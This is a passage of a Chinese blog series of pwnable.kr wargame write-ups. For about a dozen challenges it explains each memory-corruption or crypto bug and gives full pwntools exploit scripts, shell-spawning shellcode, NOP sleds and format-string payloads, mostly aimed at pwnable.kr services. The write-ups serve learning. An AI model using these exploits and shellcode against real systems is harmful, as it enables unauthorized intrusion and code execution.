#我企图直接获取pwnable的服务器时间,然后再同步到本地,但是这种方法也宣告失败
time_ssh=ssh(host='pwnable.kr',user='asm',password='guest',port=2222)
time_shell=time_ssh.process(["/bin/sh"])
time_shell.sendline("date")
ser_time=time_shell.readline()
ser_time=ser_time[2:len(ser_time)].strip()
print ("("+ser_time+")")
ser_time=list(ser_time)
ser_time[18]=chr(ord(ser_time[18]))
ser_time="".join(ser_time)
print ("("+ser_time+")")
os.system("sudo date --set \""+ser_time+"\"")
t=time.time()
pwn=remote("pwnable.kr",9002)
#pwn=process(argv=["/home/etenal/pwnable.kr/hash/hash"])
pwn.readline()
junk,captcha=pwn.readline().split(':')
captcha=captcha[1:len(captcha)]
args=["/home/etenal/pwnable.kr/hash/randCalc",str(t),captcha.strip()]
subp=subprocess.Popen(args,stdout=subprocess.PIPE)
cookie=toHex(subp.communicate()[0].strip())
addr_system=0x08049187
addr_sh=0x0804b3b6
pwn.send(captcha);
print (p32(cookie),p32(addr_system),p32(addr_sh))
org_payload='\x41'*512+p32(cookie)+'\x90'*12+p32(addr_system)+p32(addr_sh)
payload=b64e(org_payload)+'\x00'*10+'/bin/sh'
print (len(payload))
pwn.sendline(payload)
pwn.interactive()
(二十一):pwnable-simple_login
这题不是太难,了解leave指令是关键。
intel的手册上写有

在以前的逆向过程中,每进入一个call就会出现
push ebp mov ebp,esp
这两句指令就是保存了原本的ebp和esp,当call结束,就会恢复这ebp和esp,leave就是起一个这样的功能
mov esp,ebp pop ebp
在这道题这个实际例子中,esp=ebp+4(恢复的时候会加4个字节,why?),ebp会获取之前存入栈内的旧值。
这道题的漏洞就在auth

input长度为12字节,而v4能使用的栈空间只有8字节,所以input的最后四位将会覆盖原本保存的ebp值。此时栈结构如下

如果能执行两次leave,就能控制eip
mov esp,ebp pop ebp //我将控制ebp mov esp,ebp //将控制esp,也就控制了eip pop ebp
所以构造的输入是AAAA+返回到correct函数的地址(4字节)+第一次控制ebp的值(4字节)
返回地址我使用的0x8049278,第一次控制ebp的值使用input的地址(因为input的第二个四字节是返回地址,刚好满足ebp+4=eip,如果不能理解请自己使用gdb调试一次)
exp如下:
from pwn import *
p=remote("pwnable.kr",9003)
p.sendline("QUFBQXiSBAhA6xEI")
p.interactive()
(二十二):pwnable-asm
这个月是考试月,预习微积分,大学物理,电路分析,概率论,数据结构,英国文学与文化所以没有太多时间写这个,周末约了妹子回来就把这道积下的asm做了,明天正式开始预习。
#include
#include
#include
#include
#include
#include
#include
#define LENGTH 128
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");
char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));
int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);
alarm(10);
sandbox();
((void (*)(void))sh)();
return 0;
}
作者用了一个沙盒,保证只能使用open,write,read,exit等几个关键指令,要求写一个shellcode,这题应该是很简单的,博主犯了几个智障的错误导致困了很久
1是要求x64的shellcode,博主写汇编开开心心的eax,ebp,int 80,然后一直bad system call一度抓狂
2是输入的shellcode结尾不加回车字符(也就是\xa)
博主写的汇编如下
global _start [SECTION .text] _start: jmp MESSAGE GOBACK: mov rax, 2 ;open file pop rdi mov rsi, 0 syscall mov rdi, rax xor rax, rax mov rax, 0 ;read from file mov rsi, rsp mov rdx, 100 ;count syscall mov rax, 1 ;write mov rdi, 1 mov rsi, rsp mov rdx, 100 ;count syscall mov rax, 60 ;exit syscall MESSAGE: call GOBACK db 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'
应该能看懂吧,就是一个open,read,write的过程。
不能将db传递给字符串,导出shellcode只会导出代码段,而字符串对应的内存地址只在当前程序有效,将它放在主函数的call外保证pop rdi时将flag文件的名字传入,所以shellcode的后半部分就是字符串
完成后用nasm和ld编译链接,用objdump和odfhex导出shellcode
shellcode="\xeb\x3d\xb8\x02\x00\x00\x00\x5f\xbe\x00\x00\x00\x00\x0f\x05\x48\x89"\ "\xc7\x48\x31\xc0\xb8\x00\x00\x00\x00\x48\x89\xe6\xba\x64\x00\x00\x00"\ "\x0f\x05\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x89\xe6\xba\x64"\ "\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\x0f\x05\xe8\xbe\xff\xff\xff"\ "\x74\x68\x69\x73\x5f\x69\x73\x5f\x70\x77\x6e\x61\x62\x6c\x65\x2e\x6b"\ "\x72\x5f\x66\x6c\x61\x67\x5f\x66\x69\x6c\x65\x5f\x70\x6c\x65\x61\x73"\ "\x65\x5f\x72\x65\x61\x64\x5f\x74\x68\x69\x73\x5f\x66\x69\x6c\x65\x2e"\ "\x73\x6f\x72\x72\x79\x5f\x74\x68\x65\x5f\x66\x69\x6c\x65\x5f\x6e\x61"\ "\x6d\x65\x5f\x69\x73\x5f\x76\x65\x72\x79\x5f\x6c\x6f\x6f\x6f\x6f\x6f"\ "\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\ "\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\ "\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\ "\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\ "\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"\ "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x6f\x6f\x6f\x6f\x6f"\ "\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\ "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x30\x6f\x30\x6f"\ "\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x6e\x67\x00" python -c "print '\x74\x68\x69\x73\x5f\x69\x73\x5f\x70\x77\x6e\x61\x62\x6c\x65\x2e\x6b\x72\x5f\x66\x6c\x61\x67\x5f\x66\x69\x6c\x65\x5f\x70\x6c\x65\x61\x73\x65\x5f\x72\x65\x61\x64\x5f\x74\x68\x69\x73\x5f\x66\x69\x6c\x65\x2e\x73\x6f\x72\x72\x79\x5f\x74\x68\x65\x5f\x66\x69\x6c\x65\x5f\x6e\x61\x6d\x65\x5f\x69\x73\x5f\x76\x65\x72\x79\x5f\x6c\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x6e\x67'" this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
博主的py如下
from pwn import * shellcode="\xeb\x3d\xb8\x02\x00\x00\x00\x5f\xbe\x00\x00\x00\x00\x0f\x05\x48\x89"\ "\xc7\x48\x31\xc0\xb8\x00\x00\x00\x00\x48\x89\xe6\xba\x64\x00\x00\x00"\ "\x0f\x05\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x89\xe6\xba\x64"\ "\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\x0f\x05\xe8\xbe\xff\xff\xff"\ "\x74\x68\x69\x73\x5f\x69\x73\x5f\x70\x77\x6e\x61\x62\x6c\x65\x2e\x6b"\ "\x72\x5f\x66\x6c\x61\x67\x5f\x66\x69\x6c\x65\x5f\x70\x6c\x65\x61\x73"\ "\x65\x5f\x72\x65\x61\x64\x5f\x74\x68\x69\x73\x5f\x66\x69\x6c\x65\x2e"\ "\x73\x6f\x72\x72\x79\x5f\x74\x68\x65\x5f\x66\x69\x6c\x65\x5f\x6e\x61"\ "\x6d\x65\x5f\x69\x73\x5f\x76\x65\x72\x79\x5f\x6c\x6f\x6f\x6f\x6f\x6f"\ "\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\ "\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\ "\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\ "\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\ "\x6f\x6f\x6f\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"\ "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x6f\x6f\x6f\x6f\x6f"\ "\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f"\ "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x6f\x30\x6f\x30\x6f"\ "\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x6e\x67\x00" #注意加个\x00表示字符串结束 ssh_pwn=ssh(user='asm',host='pwnable.kr',port=2222,password='guest') p=ssh_pwn.remote(host='0',port=9026) p.send(shellcode) print (p.recvall())
参考资料:
Linux System Call Table for x86 64
Shellcoding for Linux and Windows Tutorial
(二十三):pwnable-tiny_easy
翘首以待的寒假开始,博主又开始刷pwnable。
这个tiny_easy的代码很短
pop eax pop edx mov edx,DWORD PTR [edx] call edx
(真·tiny)
我们都知道C的main函数
int main(int argc, char* argv[], char* envp[])
argc : 参数个数 argv : 一个指向参数数组的指针 envp : 一个指向环境变量数组的指针
前面的文章提到,函数压栈是从右至左的,所以栈内的数据目前是

那所以
pop eax ;就将argc储存到了eax pop edx ;就将pointer to argv储存到了edx mov edx,DWORD PTR [edx] ;把argv数组的第一个值传给edx(前四字节) call edx ;跳转到这个地址
众所周知,argv[0]储存的是程序名,也就是我能操控的东西。
那现在只能把shellcode放到envp里面,把shellcode放进envp需要一段很长的nop雪橇,因为开了ASLR后每一次envp的值都不一样,所以需要暴力猜解,我尝试用下面代码来测试通常的envp位置
#include
int main(int argc, char* argv[], char* envp[])
{
printf("envp : {%p}", envp);
}
nop雪橇:一长串nop组成的没有意义的字符,但是跳转到这个nop串上,会一直滑落到nop串结束的地方,形象地比作雪橇,nop雪橇的终点通常是shellcode
exp如下
import subprocess
myenv = {}
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"\
"\x73\x68\x68\x2f\x62\x69\x6e\x89"\
"\xe3\xb0\x0b\xcd\x80"
nopsled = 4096 * '\x90'
for i in range(1,100):
myenv['pwn'+str(i)] = nopsled + shellcode
while True:
p = subprocess.Popen(['\xdc\x0e\xcb\xff'],executable='tiny_easy',env=myenv)
p.wait()
参考资料:
Pwning tiny_easy (pwnable.kr)
又见pwnable.kr–Rookiss 之 tiny_easy
(二十四):pwnable-fsb
这道题是格式化字符串漏洞的利用,关于这个漏洞的利用我在结尾贴出几篇文章,本文就不讲解了。
把fsb放进IDA里面观察栈结构
发现如下的结构

既然有一个指向栈的指针,我就能向栈里面写入任意数据,于是可以考虑向FF8EF450写入pw的地址,然后再向pw写入自己的数据,但是实测后发现
alloca(0x12345 & key);
这句会在栈上分配一段随机空间,对key造成严重的影响,(why?我之后再来研究),比如以下问题:


可以看到,pw和key一起输出,key竟然成了0????
总之这坑了我很久,最后发现注释掉了alloca(0x12345 & key);就正常了
于是换一种思路,我考虑修改got来直接跳到execve位置,那就选择修改printf。
- 向FF8EF450位置写入printf的地址:%134520832x%14$n (134520832是地址0x804a000的10进制 14是(FF8EF438-FF8EF400)/4的结果,即将第14个参数作为%n的地址)
- 向printf的地址写入execve的地址:%134514347x%20$n (134514347是地址0x80486ab的10进制 20是(FF8EF450-FF8EF400)/4的结果,即将第20个参数作为%n的地址)
所以得到exp
from pwn import *
ssh_pwn = ssh(host='pwnable.kr',user='fsb',password='guest',port=2222)
p = ssh_pwn.process(['./fsb'])
p.sendline('%0{0}x%14$n'.format(0x804a000))
p.sendline('%0{0}x%20$n'.format(0x80486ab))
p.interactive()
参考资料:
格式化字符串漏洞简介
Linux下的格式化字符串漏洞利用姿势
(二十五):pwnable-dragon
这是一道UAF,在IDA里面很容易看到这个SecretLevel

无奈发现这里启用了canary而且对读入也做了限制,遂返回去看游戏代码。
观察代码

这是一个do while循环(未完整截图),只有龙的生命小于等于0才函数能返回1,代表杀死了龙,free了龙的ptr(外层循环叫做v5)。
在IDA里发现如果杀死了龙就能执行下面代码

free掉的v5并没有置NULL,直接malloc给了v2,所以这时候v2就是v5,v2就可以输入一个地址
这里直接call了这个地址。关键是如何才能跳到这里呢,按照游戏的逻辑,根本不可能战胜龙。
在观察到龙的生命是一个byte(不同于c里面的byte,c里的byte实际上是unsigned char,汇编的byte最高位仍是符号位),所以我可以让龙一直恢复生命直到溢出,测试一下发现可行

我选用的是可以防御的priest,龙选择攻击力小的Mama dragon。
然后输入system的地址,拿到shell
exp如下:
from pwn import *
s = remote('pwnable.kr', 9004)
number = '1\n1\n1\n1\n3\n3\n2\n3\n3\n2\n3\n3\n2\n3\n3\n2\n'
uaf_jmp = '\xbf\x8d\x04\x08\n'
payload = number+uaf_jmp
s.send(payload)
s.interactive()
(二十六):pwnable-fix
xor %eax,%eax push %eax push $0x68732f2f push $0x6e69622f mov %esp,%ebx push %eax push %ebx mov %esp,%ecx mov $0xb,%al int $0x80
这段shellcode不能执行的原因在于
shellcode在栈顶上方执行,每一次push都会抬高栈顶,就可能破坏shellcode
所以这道题需要修复esp,博主最初将
xor eax, eax 改成 xor esp, eax
esp虽然提高了但是eax没能清空,传入的参数出问题导致execve不会执行
正确解法应该是将push eax改为pop esp,这时esp将会被改变成6E69622F,这就需要一个非常大的栈,所以需要用到
ulimit -s unlimited
即
fix@ubuntu:~$ ulimit -s unlimited fix@ubuntu:~$ ./fix What the hell is wrong with my shellcode?????? I just copied and pasted it from shell-storm.org :( Can you fix it for me? Tell me the byte index to be fixed : 15 Tell me the value to be patched : 92 get shell $ ls fix fix.c flag intended_solution.txt $ cat flag Sorry for blaming shell-strom.org :) it was my ignorance!
参考资料:
PWNABLE.KR FIX
(二十七):pwnable-crypto1
AES是一种区块加密,程序所涉及的AES-CBC加密同理,维基图解如下

一个初始向量(iv)会和明文异或,然后被key加密,这一个block的密文会被当作向量对第二块进行异或,所以aes-cbc加密前面的密文会对后面的密文造成影响。
另外,因为是区块加密,所以每一区块加密后得到相互独立的密文(尽管加密过程相互联系),也就是说第二个区块的元素不会对第一个区块的加密造成影响。
代码显示每一块block长度为16,明文格式为
{id}-{pw}-cookie
由于id和pw没有限制输入长度,利用区块加密的特性,我就能构造特殊数据爆破cookie
原理如下

成功得到cookie首位后,减少一位junk,加入已经得到的首位,就能爆破第二位,如此循环就能得到所有的cookie
要值得注意的是,构造的junk会被加上两个–,所以密文1对应junk长度需要减2(len=13),而密文2只会使用到我构造的16bit数据,所以不受–影响(len=15)
但是cookie长度未知,如果大于了13位,第一个block就被填满,后面的数据没法爆破,所以适当把junk扩充,留足够的block给cookie爆破
涉及爆破,本地连接pwnable服务器速度缓慢,所以我将脚本放在了pwnable服务器里面
exp如下
from pwn import *
cookie = ''
#假设长度为61(13+16+16+16)
for i in range(61, 0, -1):
#因为不知道cookie具体长度,如果抛出异常证明cookie已经获取完整
try:
p = remote('0', 9006)
p.recvuntil('ID')
p.sendline('-' * i)
p.recvuntil('PW')
p.sendline('')
ciphertext = p.recvuntil(')')
#128 = 32 + 32 + 32 + 32
text = ciphertext[ciphertext.find('(')+1: ciphertext.find(')')][:128]
p.close()
for c in '_abcdefghijklmnopqrstuvwxyz1234567890,./;[]-=<>?:{}+|':
p = remote('0', 9006)
p.recvuntil('ID')
p.sendline('-' * (i+2) + cookie + c)
p.recvuntil('PW')
p.sendline('')
ciphertext = p.recvuntil(')')
guess_text = ciphertext[ciphertext.find('(') + 1: ciphertext.find(')')][:128]
p.close()
if guess_text == text:
cookie += c
print ('cookie=' + cookie)
break
except:
break
print cookie
参考资料:
Block cipher mode of operation
(二十八):pwnable-echo1
用IDA查看源码,程序对id这个变量的操作,将name的三个字节传给了id,所以我能够控制id的前三个字节。
很容易发现溢出点,能够控制eip,这下就可以返回到bss中的id地址,我将id赋值为FF E4(jmp rsp)就能重新跳到栈上
exp如下:
from pwn import *
payload = 'A'*40
ret_addr = 0x6020a0
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7"\
"\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p = remote('pwnable.kr', 9010)
p.sendline(asm("jmp rsp",arch='amd64',os='linux'))
p.sendline('1')
p.sendline(payload + p64(ret_addr) + shellcode )
p.interactive()
(二十九):pwnable-echo2
本题使用格式化字符串来泄漏栈地址,name储存shellcode,利用uaf跳到任意地址
fsb使用
%10$llx
可以泄漏栈地址,name储存位置在
addr-0x20
这个地方
在菜单界面选择
4
退出,会clean当初malloc的地址且没有置NULL,选择
n
取消退出,进入uaf,这里可以覆盖32位长度,初始分配了40个字节,最后16个字节分别是greeting和byebye的地址,所以32字节能够
覆盖到greeting的地址,也就实现了任意地址跳转,由于name只留了24字节空间,而x64的shellcode普遍是27字节,我在网上找到一个23字节的shellcode
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
exp如下
from pwn import *
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"\
"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = 'A'* 24
p = remote('pwnable.kr', 9011)
p.sendline(shellcode)
p.sendline('2')
p.sendline('%10$llx')
p.recvuntil('hello ')
p.readline()
addr = int(p.recv(13), 16)
ret_addr = addr - 0x20
print (hex(addr))
p.sendline('4')
p.sendline('n')
p.sendline('3')
p.sendline(payload + p64(ret_addr))
p.sendline('2')
p.interactive()
#p.sendline(payload + p64(ret_addr) + shellcode )
#p.interactive()
第一次做x64的格式化字符串,想问问x64的fsb怎么才能修改任意地址,效仿x86方式宣告失败,没有找到原因
参考资料:
Linux/x86-64 – Execve /bin/sh Shellcode Via Push (23 bytes)
(三十):pwnable-unlink
打算学习堆溢出
这道unlink其实一早就看过了,但是遇到一个致命问题,如果替换B的fd或是bk成返回地址,另一个是shell的地址,在相互赋值的时候,shell地址是不可写的导致致命错误,想了很久没有解法就闲置了。
今天重新来看这道题,代码如下
#include
#include
#include
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
在汇编结尾发现一个指令

通过这个指令,我就不需要把text段地址传给返回地址,而是通过栈上的值传给返回地址,如此就绕过了text段不可写的错误
BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD;
研究这四个指令,假设我将BK->fd覆盖成为ebp+var_4的地址,那么FD就应该是存有shell+4值的heap地址,由于BK是通过B->bk获得的,FD是通过B->fd获得的,并且我能控制这两个值
所以我的payload是
"A"*16 + (heap_addr+0x20+0x4) + (stack_addr+0x10) + (shell_addr)
上述的偏移量均是动态调试观察记录的。
exp如下:
from pwn import *
pwn_ssh = ssh(host='pwnable.kr',user='unlink',password='guest',port=2222)
p = pwn_ssh.process(executable="./unlink")
line1=p.readline().strip()
line2=p.readline().strip()
stack_addr = int(line1.split(': 0x')[1], 16)
heap_addr = int(line2.split(': 0x')[1], 16)
shell_addr = 0x080484eb
p.sendline('A'*16 + p32(heap_addr+0x24) + p32(stack_addr+0x10) + p32(shell_addr))
p.interactive()
(三十一):pwnable-note
上代码:
#include
#include
#include
#include
#include
#include
#include
#include
#define PAGE_SIZE 4096
void* mmap_s(void* addr, size_t length, int prot, int flags, int fd, off_t offset);
void* mem_arr[257];
unsigned int get_sp(void){
__asm__("movl %ebp, %eax");
}
void clear_newlines(void){
int c;
do{
c = getchar();
}while (c != '\n' && c != EOF);
}
void create_note(){
int i;
void* ptr;
for(i=0; i<256; i++){
if(mem_arr[i] == NULL){
ptr = mmap_s((void*)NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
mem_arr[i] = ptr;
printf("note created. no %d\n [%08x]", i, (int)ptr);
return;
}
}
printf("memory sults are fool\n");
return;
}
void write_note(){
unsigned int no;
printf("note no?\n");
scanf("%d", &no);
clear_newlines();
if(no>256){
printf("index out of range\n");
return;
}
if(mem_arr[no]==NULL){
printf("empty slut!\n");
return;
}
printf("paste your note (MAX : 4096 byte)\n");
gets(mem_arr[no]);
}
void read_note(){
unsigned int no;
printf("note no?\n");
scanf("%d", &no);
clear_newlines();
if(no>256){
printf("index out of range\n");
return;
}
if(mem_arr[no]==NULL){
printf("empty slut!\n");
return;
}
printf("%s\n", mem_arr[no]);
}
void delete_note(){
unsigned int no;
printf("note no?\n");
scanf("%d", &no);
clear_newlines();
if(no>256){
printf("index out of range\n");
return;
}
if(mem_arr[no]==NULL){
printf("already empty slut!\n");
return;
}
munmap(mem_arr[no], PAGE_SIZE);
mem_arr[no] = NULL;
}
void select_menu(){
// menu
int menu;
char command[1024];
printf("- Select Menu -\n");
printf("1. create note\n");
printf("2. write note\n");
printf("3. read note\n");
printf("4. delete note\n");
printf("5. exit\n");
scanf("%d", &menu);
clear_newlines();
switch(menu){
case 1:
create_note();
break;
case 2:
write_note();
break;
case 3:
read_note();
break;
case 4:
delete_note();
break;
case 5:
printf("bye\n");
return;
case 0x31337:
printf("welcome to hacker's secret menu\n");
printf("i'm sure 1byte overflow will be enough for you to pwn this\n");
fgets(command, 1025, stdin);
break;
default:
printf("invalid menu\n");
break;
}
select_menu();
}
int main(){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("addr:%x\n",get_sp());
printf("welcome to pwnable.kr\n\n");
sleep(2);
printf("recently I noticed that in 32bit system with no ASLR,\n");
printf(" mmap(NULL... gives predictable address\n\n");
sleep(2);
printf("I believe this is not secure in terms of software exploit mitigation\n");
printf("so I fixed this feature and called mmap_s\n\n");
sleep(2);
printf("please try out this sample note application to see how mmap_s works\n");
printf("you will see mmap_s() giving true random address despite no ASLR\n\n");
sleep(2);
printf("I think security people will thank me for this :)\n\n");
sleep(2);
select_menu();
return 0;
}
// secure mmap
void* mmap_s(void* addr, size_t length, int prot, int flags, int fd, off_t offset){
// security fix: current version of mmap(NULL.. is not giving secure random address
if(addr == NULL && !(flags & MAP_FIXED) ){
void* tmp=0;
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1) exit(-1);
if(read(fd, &addr, 4)!=4) exit(-1);
close(fd);
// to avoid heap fragmentation, lets skip malloc area
addr = (void*)( ((int)addr & 0xFFFFF000) | 0x80000000 );
while(1){
// linearly search empty page (maybe this can be improved)
tmp = mmap(addr, length, prot, flags | MAP_FIXED, fd, offset);
if(tmp != MAP_FAILED){
return tmp;
}
else{
// memory already in use!
addr = (void*)((int)addr + PAGE_SIZE); // choose adjacent page
}
}
}
return mmap(addr, length, prot, flags, fd, offset);
}
作者使用urandom生成随机值再转换成内存地址并向mmap申请,的确达到了随机的目的,但是可以发现代码中有一个严重的问题
select_menu是一个递归,并且结束条件为我掌握,也就是说,只要我想,我就能让它一直递归下去直达碰到内存边界。
因为addr仅对后三位清空,所以addr完全可能随机到栈上,于是我一直递归,直到addr随机到当前的栈上,然后向该地址写入1023次shellcode地址足以覆盖某一次递归的eip。
最后exit,就能跳到shellcode上
如图,看到当前随机的最大地址是0xffee1000,当前栈顶是0xffee0c30,证明当前已分配的空间已经在栈上了,向这段空间写入shellcode地址就能拿到shell

exp如下,将py放在pwnable服务器上跑
from pwn import *
default_stack = 0xffffd830
max_addr = 0
max_no = '0'
shellcode_addr = 0
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"\
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
def launch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0], execute='b *0x080489f0')
def exit_note():
p.sendline('5')
#launch_gdb()
#p.send('\n')
p.interactive()
def write_note(no, value):
print p.recvuntil('5. exit\n')
p.sendline('2')
print p.recvuntil('note no?')
p.sendline(no)
print p.recvuntil('4096 byte)')
p.sendline(value)
def delete_note(no):
print p.recvuntil('5. exit\n')
p.sendline('4')
print p.recvuntil('note no?')
p.sendline(no)
def create_note():
global default_stack
global shellcode_addr
global shellcode
global max_addr
global max_no
print p.recvuntil('5. exit\n')
p.sendline('1')
print p.recvuntil('note created. no ')
no = p.recvline().strip()
print ("no",no)
print p.recvuntil('[')
default_stack -= 1072
rand_addr = int(p.recv(8), 16)
if rand_addr>max_addr: #更新当前随机到的最大地址
max_addr = rand_addr
max_no = no
if shellcode_addr == 0:
shellcode_addr = rand_addr
write_note(no, shellcode)
else:
delete_note(no) #删除没用的节点,防止空间分配完全
print ("stack:" + hex(default_stack), "rand_mem:" + hex(rand_addr), \
"max_addr:" + hex(max_addr))
if max_addr > default_stack: #如果最大地址已经在栈上
print ("FIND IT!!!!!!!!!!!!!")
print ("shellcode_addr:"+hex(shellcode_addr))
write_note(max_no, p32(shellcode_addr) * 1023)
exit_note()
p = remote('0', 9019)
while (1):
create_note()
(三十二):pwnable-otp
娘的没发现漏洞,查了w竟然使用ulimit -f 0 限制文件大小,让passcode始终等于0
import subprocess p = subprocess.Popen(['/home/otp/otp',''],cwd='/home/otp',stderr=subprocess.STDOUT);
(三十三):pwnable-rsa_calculator
就目前而言发现几个bug
- 主菜单的读入检查读入+1是否大于6,这造成0和负数皆可被读入,但是判断使用jbe(无符号),所以真正能够通过判断的是0和-1,接下来func[eax*8],此时rax=0x00000000fffffffX,导致func寻址并未eax当作-1而是一个极大数0xfffffffX,至此这条思路断掉。
